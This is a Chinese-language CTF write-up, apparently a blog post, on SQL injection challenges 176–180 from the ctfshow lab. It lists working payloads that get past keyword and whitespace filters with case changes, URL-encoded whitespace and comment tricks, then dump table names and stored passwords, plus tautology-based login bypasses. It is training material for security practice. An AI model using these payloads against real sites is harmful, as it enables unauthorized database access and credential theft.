当前位置: 首页 > news >正文

ctfshow——web入门176~180

web入门176

对传入参数进行了过滤

字段数是3

过滤了查询的单词,我们试试大小写绕过

ok发现是select被过滤

查库名:

查表名:-1' union selEct 1,2,group_concat(table_name) from information_schema.tables where table_schema=database() --+

查列名:-1' union selEct 1,2,group_concat(column_name) from information_schema.columns where table_name='ctfshow_user' --+

那就password:1' union Select 1,2, group_concat(password) from ctfshow_user where username='flag'--+

web入门177

经过几次测试,发现' --+类型的既不报错也不回显

这样是可以的

因为--+中的+是空格的意思,所以是过滤了空格,那我们就用/**/代替

字段数:

-1'order/**/by/**/3%23(最后面的'要使用url编码)

库:-1'union/**/select/**/1,2,database()%23

表:-1'union/**/select/**/1,2,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema=database()%23

然后就都是一样的,至于替换空格的方式,还有%0a(换行符)%09(Tab)%0b(垂直制表符)

flag:-1'union%09select%0a1,2,password%0Afrom%0bctfshow_user%23

web入门178

通过以上可以得出,还是过滤了空格,然后把/**/也过滤了

然后就是老样子

-1'union%0bselect%0b1,2,group_concat(table_name)%0afrom%0Ainformation_schema.tables%09where%09table_schema=database()%23

-1'union%09select%0a1,2,password%0Afrom%0bctfshow_user%0bwhere%0busername='flag'%23

web入门179

测试发现%09,%0a,%0b和%0d(回车)都不行

但%0c(换页)可以

然后就老样子:

1'union%0cselect%0c1,2,group_concat(table_name)%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()%23

以下方法也可以:

-1'union%0cselect%0c1,2,group_concat(password)%0cfrom%0cctfshow_user%23

-1'union(select(select(group_concat(password))from(ctfshow_user)),1,2)%23

'or(1=1)%23

'||1=1%23

'or'1'='1'%23

web入门180

非常奇怪,这里最后面直接'可以了

-1'union%0cselect%0c1,2,database()'

然后后面又不行了

这里可以用--%0c

-1'union%0cselect%0c1,2,table_name%0cfrom%0cinformation_schema.tables%0cwhere%0ctable_schema=database()--%0c

-1'union%0cselect%0c1,2,password%0cfrom%0cctfshow_user%0cwhere%0cusername='flag'--%0c

当然,还有其他的方法:'or'1'='1'--%0c

'or(username)='flag

'||username='flag

先通过第一个'闭合前面的,再用第二个闭合后面的(废话)

如:

SELECT * FROM users WHERE username = '$username' AND password = '$password';

加上就变成

SELECT * FROM users WHERE username = '' OR (username) = 'flag' AND password = '';

OR 条件会使得即使密码为空,只要存在一个 username 包含 "flag" 的记录,查询就会返回结果

相关文章:

  • Redis-17.在Java中操作Redis-Spring Data Redis使用方式-通用操作
  • 类的其它特性
  • 网络通信三大核心表项详解:MAC表、ARP表、路由表
  • 【AI插件开发】Notepad++ AI插件开发实践:从Dock窗口集成到功能菜单实现
  • CentOS 上 Apache Kafka 2.13-3.8.1 集群部署指南(ZooKeeper 模式)
  • 如何改电脑网络ip地址:一步步指导
  • 深度学习 Deep Learning 第14章 自编码器
  • 将视频m4s文件转换为mp4格式
  • 慧通测控:汽车RGB氛围灯功能测试介绍
  • 【VM虚拟机ip问题】
  • Javascript代码压缩混淆工具terser详解
  • 在ArcGIS中导入气候tif文件出现 “输入与输出之间的基准面冲突” 警告
  • C++\MFC锁lock从专家到小白
  • 基于银河麒麟桌面服务器操作系统的 DeepSeek本地化部署方法【详细自用版】
  • Etcd用的是Raft算法
  • Linux上位机开发实践(超越MPP去开发产品)
  • 青少年编程与数学 02-014 高中数学知识点 07课题、专业相关性分析
  • Blender模型导入虚幻引擎设置
  • 静态住宅IP的应用、设置及好处
  • 开发相关的一些网址收藏(持续更新中)
  • 公安部:“五一”假期全国社会大局稳定,治安秩序良好
  • 建邦高科赴港上市,大股东陈子淳系山东建邦集团董事长陈箭之子
  • 经济日报:以人工智能激活产业新增长
  • 巴菲特股东大会4.5万字问答实录:股神60年穿越牛熊的最新心得和人生思考
  • 全国共有共青团员7531.8万名,共青团组织439.7万个
  • 上海环球马术冠军赛开赛,一场体育与假日消费联动的狂欢